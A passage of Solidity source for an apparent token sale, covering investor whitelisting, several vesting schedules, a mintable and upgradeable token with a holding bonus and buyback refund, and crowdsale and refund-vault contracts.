disapproveInvestorsInBulk(address[] calldata toDisapprove) external onlyOwner { for (uint i=0; i<toDisapprove.length; i++) { delete isInvestorApproved[toDisapprove[i]]; emit Disapproved(toDisapprove[i]); } } //Investor payment approval (For private sale) function approveInvestorPayment(address toApprove) public onlyOwner { isInvestorPaymentApproved[toApprove] = true; emit PaymentApproved(toApprove); } function approveInvestorsPaymentInBulk(address[] calldata toApprove) external onlyOwner { for (uint i=0; i<toApprove.length; i++) { isInvestorPaymentApproved[toApprove[i]] = true; emit PaymentApproved(toApprove[i]); } } function disapproveInvestorapproveInvestorPayment(address toDisapprove) public onlyOwner { delete isInvestorPaymentApproved[toDisapprove]; emit PaymentDisapproved(toDisapprove); } function disapproveInvestorsPaymentInBulk(address[] calldata toDisapprove) external onlyOwner { for (uint i=0; i<toDisapprove.length; i++) { delete isInvestorPaymentApproved[toDisapprove[i]]; emit PaymentDisapproved(toDisapprove[i]); } } } contract CommunityVesting is Ownable { using SafeMath for uint256; mapping (address => Holding) public holdings; uint256 constant public MinimumHoldingPeriod = 90 days; uint256 constant public Interval = 90 days; uint256 constant public MaximumHoldingPeriod = 360 days; uint256 constant public CommunityCap = 14300000 ether; // 14.3 million tokens uint256 public totalCommunityTokensCommitted; struct Holding { uint256 tokensCommitted; uint256 tokensRemaining; uint256 startTime; } event CommunityVestingInitialized(address _to, uint256 _tokens, uint256 _startTime); event CommunityVestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime); function claimTokens(address beneficiary) external onlyOwner returns (uint256 tokensToClaim) { uint256 tokensRemaining = holdings[beneficiary].tokensRemaining; uint256 startTime = holdings[beneficiary].startTime; require(tokensRemaining > 0, "All tokens claimed"); require(now.sub(startTime) > MinimumHoldingPeriod, "Claiming period not started yet"); if (now.sub(startTime) >= MaximumHoldingPeriod) { tokensToClaim = tokensRemaining; delete holdings[beneficiary]; } else { uint256 percentage = calculatePercentageToRelease(startTime); uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(100 - percentage)).div(100); tokensToClaim = tokensRemaining.sub(tokensNotToClaim); tokensRemaining = tokensNotToClaim; holdings[beneficiary].tokensRemaining = tokensRemaining; } } function calculatePercentageToRelease(uint256 _startTime) internal view returns (uint256 percentage) { // how many 90 day periods have passed uint periodsPassed = ((now.sub(_startTime)).div(Interval)); percentage = periodsPassed.mul(25); // 25% to be released every 90 days } function initializeVesting( address _beneficiary, uint256 _tokens, uint256 _startTime ) external onlyOwner { totalCommunityTokensCommitted = totalCommunityTokensCommitted.add(_tokens); require(totalCommunityTokensCommitted <= CommunityCap); if (holdings[_beneficiary].tokensCommitted != 0) { holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens); holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens); emit CommunityVestingUpdated( _beneficiary, holdings[_beneficiary].tokensRemaining, holdings[_beneficiary].startTime ); } else { holdings[_beneficiary] = Holding( _tokens, _tokens, _startTime ); emit CommunityVestingInitialized(_beneficiary, _tokens, _startTime); } } } contract EcosystemVesting is Ownable { using SafeMath for uint256; mapping (address => Holding) public holdings; uint256 constant public Interval = 90 days; uint256 constant public MaximumHoldingPeriod = 630 days; uint256 constant public EcosystemCap = 54100000 ether; // 54.1 million tokens uint256 public totalEcosystemTokensCommitted; struct Holding { uint256 tokensCommitted; uint256 tokensRemaining; uint256 startTime; } event EcosystemVestingInitialized(address _to, uint256 _tokens, uint256 _startTime); event EcosystemVestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime); function claimTokens(address beneficiary) external onlyOwner returns (uint256 tokensToClaim) { uint256 tokensRemaining = holdings[beneficiary].tokensRemaining; uint256 startTime = holdings[beneficiary].startTime; require(tokensRemaining > 0, "All tokens claimed"); if (now.sub(startTime) >= MaximumHoldingPeriod) { tokensToClaim = tokensRemaining; delete holdings[beneficiary]; } else { uint256 permill = calculatePermillToRelease(startTime); uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(1000 - permill)).div(1000); tokensToClaim = tokensRemaining.sub(tokensNotToClaim); tokensRemaining = tokensNotToClaim; holdings[beneficiary].tokensRemaining = tokensRemaining; } } function calculatePermillToRelease(uint256 _startTime) internal view returns (uint256 permill) { // how many 90 day periods have passed uint periodsPassed = ((now.sub(_startTime)).div(Interval)).add(1); permill = periodsPassed.mul(125); // 125 per thousand to be released every 90 days } function initializeVesting( address _beneficiary, uint256 _tokens, uint256 _startTime ) external onlyOwner { totalEcosystemTokensCommitted = totalEcosystemTokensCommitted.add(_tokens); require(totalEcosystemTokensCommitted <= EcosystemCap); if (holdings[_beneficiary].tokensCommitted != 0) { holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens); holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens); emit EcosystemVestingUpdated( _beneficiary, holdings[_beneficiary].tokensRemaining, holdings[_beneficiary].startTime ); } else { holdings[_beneficiary] = Holding( _tokens, _tokens, _startTime ); emit EcosystemVestingInitialized(_beneficiary, _tokens, _startTime); } } } contract SeedPrivateAdvisorVesting is Ownable { using SafeMath for uint256; enum User { Public, Seed, Private, Advisor } mapping (address => Holding) public holdings; uint256 constant public MinimumHoldingPeriod = 90 days; uint256 constant public Interval = 30 days; uint256 constant public MaximumHoldingPeriod = 180 days; uint256 constant public SeedCap = 28000000 ether; // 28 million tokens uint256 constant public PrivateCap = 9000000 ether; // 9 million tokens uint256 constant public AdvisorCap = 7400000 ether; // 7.4 million tokens uint256 public totalSeedTokensCommitted; uint256 public totalPrivateTokensCommitted; uint256 public totalAdvisorTokensCommitted; struct Holding { uint256 tokensCommitted; uint256 tokensRemaining; uint256 startTime; User user; } event VestingInitialized(address _to, uint256 _tokens, uint256 _startTime, User user); event VestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime, User user); function claimTokens(address beneficiary) external onlyOwner returns (uint256 tokensToClaim) { uint256 tokensRemaining = holdings[beneficiary].tokensRemaining; uint256 startTime = holdings[beneficiary].startTime; require(tokensRemaining > 0, "All tokens claimed"); require(now.sub(startTime) > MinimumHoldingPeriod, "Claiming period not started yet"); if (now.sub(startTime) >= MaximumHoldingPeriod) { tokensToClaim = tokensRemaining; delete holdings[beneficiary]; } else { uint256 percentage = calculatePercentageToRelease(startTime); uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(100 - percentage)).div(100); tokensToClaim = tokensRemaining.sub(tokensNotToClaim); tokensRemaining = tokensNotToClaim; holdings[beneficiary].tokensRemaining = tokensRemaining; } } function calculatePercentageToRelease(uint256 _startTime) internal view returns (uint256 percentage) { // how many 30 day periods have passed uint periodsPassed = ((now.sub(_startTime.add(MinimumHoldingPeriod))).div(Interval)).add(1); percentage = periodsPassed.mul(25); // 25% to be released every 30 days } function initializeVesting( address _beneficiary, uint256 _tokens, uint256 _startTime, uint8 user ) external onlyOwner { User _user; if (user == uint8(User.Seed)) { _user = User.Seed; totalSeedTokensCommitted = totalSeedTokensCommitted.add(_tokens); require(totalSeedTokensCommitted <= SeedCap); } else if (user == uint8(User.Private)) { _user = User.Private; totalPrivateTokensCommitted = totalPrivateTokensCommitted.add(_tokens); require(totalPrivateTokensCommitted <= PrivateCap); } else if (user == uint8(User.Advisor)) { _user = User.Advisor; totalAdvisorTokensCommitted = totalAdvisorTokensCommitted.add(_tokens); require(totalAdvisorTokensCommitted <= AdvisorCap); } else { revert( "incorrect category, not eligible for vesting" ); } if (holdings[_beneficiary].tokensCommitted != 0) { holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens); holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens); emit VestingUpdated( _beneficiary, holdings[_beneficiary].tokensRemaining, holdings[_beneficiary].startTime, holdings[_beneficiary].user ); } else { holdings[_beneficiary] = Holding( _tokens, _tokens, _startTime, _user ); emit VestingInitialized(_beneficiary, _tokens, _startTime, _user); } } } contract TeamVesting is Ownable { using SafeMath for uint256; mapping (address => Holding) public holdings; uint256 constant public MinimumHoldingPeriod = 180 days; uint256 constant public Interval = 180 days; uint256 constant public MaximumHoldingPeriod = 720 days; uint256 constant public TeamCap = 12200000 ether; // 12.2 million tokens uint256 public totalTeamTokensCommitted; struct Holding { uint256 tokensCommitted; uint256 tokensRemaining; uint256 startTime; } event TeamVestingInitialized(address _to, uint256 _tokens, uint256 _startTime); event TeamVestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime); function claimTokens(address beneficiary) external onlyOwner returns (uint256 tokensToClaim) { uint256 tokensRemaining = holdings[beneficiary].tokensRemaining; uint256 startTime = holdings[beneficiary].startTime; require(tokensRemaining > 0, "All tokens claimed"); require(now.sub(startTime) > MinimumHoldingPeriod, "Claiming period not started yet"); if (now.sub(startTime) >= MaximumHoldingPeriod) { tokensToClaim = tokensRemaining; delete holdings[beneficiary]; } else { uint256 percentage = calculatePercentageToRelease(startTime); uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(100 - percentage)).div(100); tokensToClaim = tokensRemaining.sub(tokensNotToClaim); tokensRemaining = tokensNotToClaim; holdings[beneficiary].tokensRemaining = tokensRemaining; } } function calculatePercentageToRelease(uint256 _startTime) internal view returns (uint256 percentage) { // how many 180 day periods have passed uint periodsPassed = ((now.sub(_startTime)).div(Interval)); percentage = periodsPassed.mul(25); // 25% to be released every 180 days } function initializeVesting( address _beneficiary, uint256 _tokens, uint256 _startTime ) external onlyOwner { totalTeamTokensCommitted = totalTeamTokensCommitted.add(_tokens); require(totalTeamTokensCommitted <= TeamCap); if (holdings[_beneficiary].tokensCommitted != 0) { holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens); holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens); emit TeamVestingUpdated( _beneficiary, holdings[_beneficiary].tokensRemaining, holdings[_beneficiary].startTime ); } else { holdings[_beneficiary] = Holding( _tokens, _tokens, _startTime ); emit TeamVestingInitialized(_beneficiary, _tokens, _startTime); } } } interface TokenInterface { function totalSupply() external view returns (uint256); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Vesting is Ownable { using SafeMath for uint256; enum VestingUser { Public, Seed, Private, Advisor, Team, Community, Ecosystem } TokenInterface public token; CommunityVesting public communityVesting; TeamVesting public teamVesting; EcosystemVesting public ecosystemVesting; SeedPrivateAdvisorVesting public seedPrivateAdvisorVesting; mapping (address => VestingUser) public userCategory; uint256 public totalAllocated; event TokensReleased(address _to, uint256 _tokensReleased, VestingUser user); constructor(address _token) public { //require(_token != 0x0, "Invalid address"); token = TokenInterface(_token); communityVesting = new CommunityVesting(); teamVesting = new TeamVesting(); ecosystemVesting = new EcosystemVesting(); seedPrivateAdvisorVesting = new SeedPrivateAdvisorVesting(); } function claimTokens() external { uint8 category = uint8(userCategory[msg.sender]); uint256 tokensToClaim; if (category == 1 || category == 2 || category == 3) { tokensToClaim = seedPrivateAdvisorVesting.claimTokens(msg.sender); } else if (category == 4) { tokensToClaim = teamVesting.claimTokens(msg.sender); } else if (category == 5) { tokensToClaim = communityVesting.claimTokens(msg.sender); } else if (category == 6){ tokensToClaim = ecosystemVesting.claimTokens(msg.sender); } else { revert( "incorrect category, maybe unknown user" ); } totalAllocated = totalAllocated.sub(tokensToClaim); require(token.transfer(msg.sender, tokensToClaim), "Insufficient balance in vesting contract"); emit TokensReleased(msg.sender, tokensToClaim, userCategory[msg.sender]); } function initializeVesting( address _beneficiary, uint256 _tokens, uint256 _startTime, VestingUser user ) external onlyOwner { uint8 category = uint8(user); require(category != 0, "Not eligible for vesting"); require( uint8(userCategory[_beneficiary]) == 0 || userCategory[_beneficiary] == user, "cannot change user category" ); userCategory[_beneficiary] = user; totalAllocated = totalAllocated.add(_tokens); if (category == 1 || category == 2 || category == 3) { seedPrivateAdvisorVesting.initializeVesting(_beneficiary, _tokens, _startTime, category); } else if (category == 4) { teamVesting.initializeVesting(_beneficiary, _tokens, _startTime); } else if (category == 5) { communityVesting.initializeVesting(_beneficiary, _tokens, _startTime); } else if (category == 6){ ecosystemVesting.initializeVesting(_beneficiary, _tokens, _startTime); } else { revert( "incorrect category, not eligible for vesting" ); } } function claimUnallocated( address _sendTo) external onlyOwner{ uint256 allTokens = token.balanceOf(address(this)); uint256 tokensUnallocated = allTokens.sub(totalAllocated); token.transfer(_sendTo, tokensUnallocated); } } contract MintableAndPausableToken is ERC20Pausable, Ownable { uint8 public constant decimals = 18; uint256 public maxTokenSupply = 183500000 * 10 ** uint256(decimals); bool public mintingFinished = false; event Mint(address indexed to, uint256 amount); event MintFinished(); event MintStarted(); modifier canMint() { require(!mintingFinished); _; } modifier checkMaxSupply(uint256 _amount) { require(maxTokenSupply >= totalSupply().add(_amount)); _; } modifier cannotMint() { require(mintingFinished); _; } function mint(address _to, uint256 _amount) external onlyOwner canMint checkMaxSupply (_amount) whenNotPaused returns (bool) { super._mint(_to, _amount); return true; } function _mint(address _to, uint256 _amount) internal canMint checkMaxSupply (_amount) { super._mint(_to, _amount); } function finishMinting() external onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function startMinting() external onlyOwner cannotMint returns (bool) { mintingFinished = false; emit MintStarted(); return true; } } /** * Token upgrader interface inspired by Lunyr. * * Token upgrader transfers previous version tokens to a newer version. * Token upgrader itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract TokenUpgrader { uint public originalSupply; /** Interface marker */ function isTokenUpgrader() external pure returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } contract UpgradeableToken is MintableAndPausableToken { // Contract or person who can set the upgrade path. address public upgradeMaster; // Bollean value needs to be true to start upgrades bool private upgradesAllowed; // The next contract where the tokens will be migrated. TokenUpgrader public tokenUpgrader; // How many tokens we have upgraded by now. uint public totalUpgraded; /** * Upgrade states. * - NotAllowed: The child contract has not reached a condition where the upgrade can begin * - Waiting: Token allows upgrade, but we don't have a new token version * - ReadyToUpgrade: The token version is set, but not a single token has been upgraded yet * - Upgrading: Token upgrader is set and the balance holders can upgrade their tokens */ enum UpgradeState { NotAllowed, Waiting, ReadyToUpgrade, Upgrading } // Somebody has upgraded some of his tokens. event Upgrade(address indexed _from, address indexed _to, uint256 _value); // New token version available. event TokenUpgraderIsSet(address _newToken); modifier onlyUpgradeMaster { // Only a master can designate the next token require(msg.sender == upgradeMaster); _; } modifier notInUpgradingState { // Upgrade has already begun for token require(getUpgradeState() != UpgradeState.Upgrading); _; } // Do not allow construction without upgrade master set. constructor(address _upgradeMaster) public { upgradeMaster = _upgradeMaster; } // set a token upgrader function setTokenUpgrader(address _newToken) external onlyUpgradeMaster notInUpgradingState { require(canUpgrade()); require(_newToken != address(0)); tokenUpgrader = TokenUpgrader(_newToken); // Handle bad interface require(tokenUpgrader.isTokenUpgrader()); // Make sure that token supplies match in source and target require(tokenUpgrader.originalSupply() == totalSupply()); emit TokenUpgraderIsSet(address(tokenUpgrader)); } // Allow the token holder to upgrade some of their tokens to a new contract. function upgrade(uint _value) external { UpgradeState state = getUpgradeState(); // Check upgrate state require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading); // Validate input value require(_value != 0); //balances[msg.sender] = balances[msg.sender].sub(_value); // Take tokens out from circulation //totalSupply_ = totalSupply_.sub(_value); //the _burn method emits the Transfer event _burn(msg.sender, _value); totalUpgraded = totalUpgraded.add(_value); // Token Upgrader reissues the tokens tokenUpgrader.upgradeFrom(msg.sender, _value); emit Upgrade(msg.sender, address(tokenUpgrader), _value); } /** * Change the upgrade master. * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address _newMaster) external onlyUpgradeMaster { require(_newMaster != address(0)); upgradeMaster = _newMaster; } // To be overriden to add functionality function allowUpgrades() external onlyUpgradeMaster () { upgradesAllowed = true; } // To be overriden to add functionality function rejectUpgrades() external onlyUpgradeMaster () { require(!(totalUpgraded > 0)); upgradesAllowed = false; } // Get the state of the token upgrade. function getUpgradeState() public view returns(UpgradeState) { if (!canUpgrade()) return UpgradeState.NotAllowed; else if (address(tokenUpgrader) == address(0)) return UpgradeState.Waiting; else if (totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } // To be overriden to add functionality function canUpgrade() public view returns(bool) { return upgradesAllowed; } } contract Token is UpgradeableToken, ERC20Burnable { string public name; string public symbol; // For patient incentive programs uint256 public INITIAL_SUPPLY; uint256 public hodlPremiumCap; uint256 public hodlPremiumMinted; // After 180 days you get a constant maximum bonus of 25% of tokens transferred // Before that it is spread out linearly(from 0% to 25%) starting from the // contribution time till 180 days after that uint256 constant maxBonusDuration = 180 days; struct Bonus { uint256 hodlTokens; uint256 contributionTime; uint256 buybackTokens; } mapping( address => Bonus ) public hodlPremium; IERC20 stablecoin; address stablecoinPayer; uint256 public signupWindowStart; uint256 public signupWindowEnd; uint256 public refundWindowStart; uint256 public refundWindowEnd; event UpdatedTokenInformation(string newName, string newSymbol); event HodlPremiumSet(address beneficiary, uint256 tokens, uint256 contributionTime); event HodlPremiumCapSet(uint256 newhodlPremiumCap); event RegisteredForRefund( address holder, uint256 tokens ); constructor (address _litWallet, address _upgradeMaster, uint256 _INITIAL_SUPPLY, uint256 _hodlPremiumCap) public UpgradeableToken(_upgradeMaster) Ownable() { require(maxTokenSupply >= _INITIAL_SUPPLY.mul(10 ** uint256(decimals))); INITIAL_SUPPLY = _INITIAL_SUPPLY.mul(10 ** uint256(decimals)); setHodlPremiumCap(_hodlPremiumCap) ; _mint(_litWallet, INITIAL_SUPPLY); } /** * Owner can update token information here */ function setTokenInformation(string calldata _name, string calldata _symbol) external onlyOwner { name = _name; symbol = _symbol; emit UpdatedTokenInformation(name, symbol); } function setRefundSignupDetails( uint256 _startTime, uint256 _endTime, ERC20 _stablecoin, address _payer ) public onlyOwner { require( _startTime < _endTime ); stablecoin = _stablecoin; stablecoinPayer = _payer; signupWindowStart = _startTime; signupWindowEnd = _endTime; refundWindowStart = signupWindowStart + 182 days; refundWindowEnd = signupWindowEnd + 182 days; require( refundWindowStart > signupWindowEnd); } function signUpForRefund( uint256 _value ) public { require( hodlPremium[msg.sender].hodlTokens != 0 || hodlPremium[msg.sender].buybackTokens != 0, "You must be ICO user to sign up" ); //the user was registered in ICO require( block.timestamp >= signupWindowStart&& block.timestamp <= signupWindowEnd, "Cannot sign up at this time" ); uint256 value = _value; value = value.add(hodlPremium[msg.sender].buybackTokens); if( value > balanceOf(msg.sender)) //cannot register more than he or she has; since refund has to happen while token is paused, we don't need to check anything else value = balanceOf(msg.sender); hodlPremium[ msg.sender].buybackTokens = value; //buyback cancels hodl highway if( hodlPremium[msg.sender].hodlTokens > 0 ){ hodlPremium[msg.sender].hodlTokens = 0; emit HodlPremiumSet( msg.sender, 0, hodlPremium[msg.sender].contributionTime ); } emit RegisteredForRefund(msg.sender, value); } function refund( uint256 _value ) public { require( block.timestamp >= refundWindowStart && block.timestamp <= refundWindowEnd, "cannot refund now" ); require( hodlPremium[msg.sender].buybackTokens >= _value, "not enough tokens in refund program" ); require( balanceOf(msg.sender) >= _value, "not enough tokens" ); //this check is probably redundant to those in _burn, but better check twice hodlPremium[msg.sender].buybackTokens = hodlPremium[msg.sender].buybackTokens.sub(_value); _burn( msg.sender, _value ); require( stablecoin.transferFrom( stablecoinPayer, msg.sender, _value.div(20) ), "transfer failed" ); //we pay 1/20 = 0.05 DAI for 1 LIT } function setHodlPremiumCap(uint256 newhodlPremiumCap) public onlyOwner { require(newhodlPremiumCap > 0); hodlPremiumCap = newhodlPremiumCap; emit HodlPremiumCapSet(hodlPremiumCap); } /** * Owner can burn token here */ function burn(uint256 _value) public onlyOwner { super.burn(_value); } function sethodlPremium( address beneficiary, uint256 value, uint256 contributionTime ) public onlyOwner returns (bool) { require(beneficiary != address(0) && value > 0 && contributionTime > 0, "Not eligible for HODL Premium"); if (hodlPremium[beneficiary].hodlTokens != 0) { hodlPremium[beneficiary].hodlTokens = hodlPremium[beneficiary].hodlTokens.add(value); emit HodlPremiumSet(beneficiary, hodlPremium[beneficiary].hodlTokens, hodlPremium[beneficiary].contributionTime); } else { hodlPremium[beneficiary] = Bonus(value, contributionTime, 0); emit HodlPremiumSet(beneficiary, value, contributionTime); } return true; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balanceOf(msg.sender)); if (hodlPremiumMinted < hodlPremiumCap && hodlPremium[msg.sender].hodlTokens > 0) { uint256 amountForBonusCalculation = calculateAmountForBonus(msg.sender, _value); uint256 bonus = calculateBonus(msg.sender, amountForBonusCalculation); //subtract the tokens token into account here to avoid the above calculations in the future, e.g. in case I withdraw everything in 0 days (bonus 0), and then refund, I shall not be eligible for any bonuses hodlPremium[msg.sender].hodlTokens = hodlPremium[msg.sender].hodlTokens.sub(amountForBonusCalculation); if ( bonus > 0) { //balances[msg.sender] = balances[msg.sender].add(bonus); _mint( msg.sender, bonus ); //emit Transfer(address(0), msg.sender, bonus); } } ERC20Pausable.transfer( _to, _value ); // balances[msg.sender] = balances[msg.sender].sub(_value); // balances[_to] = balances[_to].add(_value); // emit Transfer(msg.sender, _to, _value); //TODO: optimize to avoid setting values outside of buyback window if( balanceOf(msg.sender) < hodlPremium[msg.sender].buybackTokens ) hodlPremium[msg.sender].buybackTokens = balanceOf(msg.sender); return true; } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(_to != address(0)); if (hodlPremiumMinted < hodlPremiumCap && hodlPremium[_from].hodlTokens > 0) { uint256 amountForBonusCalculation = calculateAmountForBonus(_from, _value); uint256 bonus = calculateBonus(_from, amountForBonusCalculation); //subtract the tokens token into account here to avoid the above calculations in the future, e.g. in case I withdraw everything in 0 days (bonus 0), and then refund, I shall not be eligible for any bonuses hodlPremium[_from].hodlTokens = hodlPremium[_from].hodlTokens.sub(amountForBonusCalculation); if ( bonus > 0) { //balances[_from] = balances[_from].add(bonus); _mint( _from, bonus ); //emit Transfer(address(0), _from, bonus); } } ERC20Pausable.transferFrom( _from, _to, _value); if( balanceOf(_from) < hodlPremium[_from].buybackTokens ) hodlPremium[_from].buybackTokens = balanceOf(_from); return true; } function calculateBonus(address beneficiary, uint256 amount) internal returns (uint256) { uint256 bonusAmount; uint256 contributionTime = hodlPremium[beneficiary].contributionTime; uint256 bonusPeriod; if (now <= contributionTime) { bonusPeriod = 0; } else if (now.sub(contributionTime) >= maxBonusDuration) { bonusPeriod = maxBonusDuration; } else { bonusPeriod = now.sub(contributionTime); } if (bonusPeriod != 0) { bonusAmount = (((bonusPeriod.mul(amount)).div(maxBonusDuration)).mul(25)).div(100); if (hodlPremiumMinted.add(bonusAmount) > hodlPremiumCap) { bonusAmount = hodlPremiumCap.sub(hodlPremiumMinted); hodlPremiumMinted = hodlPremiumCap; } else { hodlPremiumMinted = hodlPremiumMinted.add(bonusAmount); } if( totalSupply().add(bonusAmount) > maxTokenSupply ) bonusAmount = maxTokenSupply.sub(totalSupply()); } return bonusAmount; } function calculateAmountForBonus(address beneficiary, uint256 _value) internal view returns (uint256) { uint256 amountForBonusCalculation; if(_value >= hodlPremium[beneficiary].hodlTokens) { amountForBonusCalculation = hodlPremium[beneficiary].hodlTokens; } else { amountForBonusCalculation = _value; } return amountForBonusCalculation; } } contract TestToken is ERC20{ constructor ( uint256 _balance)public { _mint(msg.sender, _balance); } } contract BaseCrowdsale is Pausable, Ownable { using SafeMath for uint256; Whitelisting public whitelisting; Token public token; struct Contribution { address payable contributor; uint256 weiAmount; uint256 contributionTime; bool tokensAllocated; } mapping (uint256 => Contribution) public contributions; uint256 public contributionIndex; uint256 public startTime; uint256 public endTime; address payable public wallet; uint256 public weiRaised; uint256 public tokenRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); event RecordedContribution( uint256 indexed index, address indexed contributor, uint256 weiAmount, uint256 time ); event TokenOwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier allowedUpdate(uint256 time) { require(time > now); _; } modifier checkZeroAddress(address _add) { require(_add != address(0)); _; } constructor( uint256 _startTime, uint256 _endTime, address payable _wallet, Token _token, Whitelisting _whitelisting ) public checkZeroAddress(_wallet) checkZeroAddress(address(_token)) checkZeroAddress(address(_whitelisting)) { require(_startTime >= now); require(_endTime >= _startTime); startTime = _startTime; endTime = _endTime; wallet = _wallet; token = _token; whitelisting = _whitelisting; } function () external payable { buyTokens(msg.sender); } function transferTokenOwnership(address newOwner) external onlyOwner checkZeroAddress(newOwner) { emit TokenOwnershipTransferred(owner(), newOwner); token.transferOwnership(newOwner); } function setWallet(address payable _wallet) external onlyOwner checkZeroAddress(_wallet) { wallet = _wallet; } function setStartTime(uint256 _newStartTime) external onlyOwner allowedUpdate(_newStartTime) { require(startTime > now); require(_newStartTime < endTime); startTime = _newStartTime; } function setEndTime(uint256 _newEndTime) external onlyOwner allowedUpdate(_newEndTime) { require(endTime > now); require(_newEndTime > startTime); endTime = _newEndTime; } function hasEnded() public view returns (bool) { return now > endTime; } function buyTokens(address payable beneficiary) internal whenNotPaused checkZeroAddress(beneficiary) { require(validPurchase()); require(whitelisting.isInvestorPaymentApproved(beneficiary)); contributions[contributionIndex].contributor = beneficiary; contributions[contributionIndex].weiAmount = msg.value; contributions[contributionIndex].contributionTime = now; weiRaised = weiRaised.add(contributions[contributionIndex].weiAmount); emit RecordedContribution( contributionIndex, contributions[contributionIndex].contributor, contributions[contributionIndex].weiAmount, contributions[contributionIndex].contributionTime ); contributionIndex++; forwardFunds(); } function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function forwardFunds() internal { wallet.transfer(msg.value); } } contract RefundVault is Ownable { enum State { Refunding, Closed } address payable public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); constructor(address payable _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Refunding; emit RefundsEnabled(); } function deposit() public onlyOwner payable { require(state == State.Refunding); } function close() public onlyOwner { require(state == State.Refunding); state = State.Closed; emit Closed(); wallet.transfer(address(this).balance); } function refund(address payable investor, uint256 depositedValue) public onlyOwner { require(state == State.Refunding); investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } contract TokenCapRefund is BaseCrowdsale { RefundVault public vault; uint256 public refundClosingTime; modifier waitingTokenAllocation(uint256 index) { require(!contributions[index].tokensAllocated); _; } modifier greaterThanZero(uint256 value) { require(value > 0); _; } constructor(uint256 _refundClosingTime) public { vault = new RefundVault(wallet); require(_refundClosingTime > endTime); refundClosingTime = _refundClosingTime; } function closeRefunds() external onlyOwner { require(now > refundClosingTime); vault.close(); } function refundContribution(uint256 index) external onlyOwner waitingTokenAllocation(index) { vault.refund(contributions[index].contributor, contributions[index].weiAmount); weiRaised = weiRaised.sub(contributions[index].weiAmount); delete contributions[index]; } function setRefundClosingTime(uint256 _newRefundClosingTime) external onlyOwner allowedUpdate(_newRefundClosingTime) { require(refundClosingTime > now); require(_newRefundClosingTime > endTime); refundClosingTime = _newRefundClosingTime; } function forwardFunds() internal { vault.deposit.value(msg.value)(); } } contract TokenCapCrowdsale is BaseCrowdsale { uint256 public tokenCap; uint256 public individualCap; uint256 public totalSupply; modifier greaterThanZero(uint256 value) { require(value > 0); _; } constructor (uint256 _cap, uint256 _individualCap) public greaterThanZero(_cap) greaterThanZero(_individualCap) { syncTotalSupply(); require(totalSupply < _cap); tokenCap = _cap; individualCap = _individualCap; } function setIndividualCap(uint256 _newIndividualCap) external onlyOwner { individualCap = _newIndividualCap; } function setTokenCap(uint256 _newTokenCap) external onlyOwner { tokenCap = _newTokenCap; } function hasEnded() public view returns (bool) { bool tokenCapReached = totalSupply >= tokenCap; return tokenCapReached || super.hasEnded(); } function checkAndUpdateSupply(uint256 newSupply) internal returns (bool) { totalSupply = newSupply; return tokenCap >= totalSupply; } function withinIndividualCap(uint256 _tokens) internal view returns (bool) { return individualCap >= _tokens; } function syncTotalSupply() internal { totalSupply = token.totalSupply(); } } contract PrivateSale is TokenCapCrowdsale, TokenCapRefund { Vesting public vesting; mapping (address => uint256) public tokensVested; uint256 hodlStartTime; constructor ( uint256 _startTime, uint256 _endTime, address payable _wallet, Whitelisting _whitelisting, Token _token, Vesting _vesting, uint256 _refundClosingTime, uint256 _refundClosingTokenCap, uint256 _tokenCap, uint256 _individualCap ) public TokenCapCrowdsale(_tokenCap, _individualCap) TokenCapRefund(_refundClosingTime) BaseCrowdsale(_startTime, _endTime, _wallet, _token, _whitelisting) { _refundClosingTokenCap; //silence compiler warning require( address(_vesting) != address(0), "Invalid address"); vesting = _vesting; } function allocateTokens(uint256 index, uint256 tokens) external onlyOwner waitingTokenAllocation(index) { address contributor = contributions[index].contributor; require(now >= endTime); require(whitelisting.isInvestorApproved(contributor)); require(checkAndUpdateSupply(totalSupply.add(tokens))); uint256 alreadyExistingTokens = token.balanceOf(contributor); require(withinIndividualCap(tokens.add(alreadyExistingTokens))); contributions[index].tokensAllocated = true; tokenRaised = tokenRaised.add(tokens); token.mint(contributor, tokens); token.sethodlPremium(contributor, tokens, hodlStartTime); emit TokenPurchase( msg.sender, contributor, contributions[index].weiAmount, tokens ); } function vestTokens(address[] calldata beneficiary, uint256[] calldata tokens, uint8[] calldata userType) external onlyOwner { require(beneficiary.length == tokens.length && tokens.length == userType.length); uint256 length = beneficiary.length; for(uint i = 0; i<length; i++) { require(beneficiary[i] != address(0), "Invalid address"); require(now >= endTime); 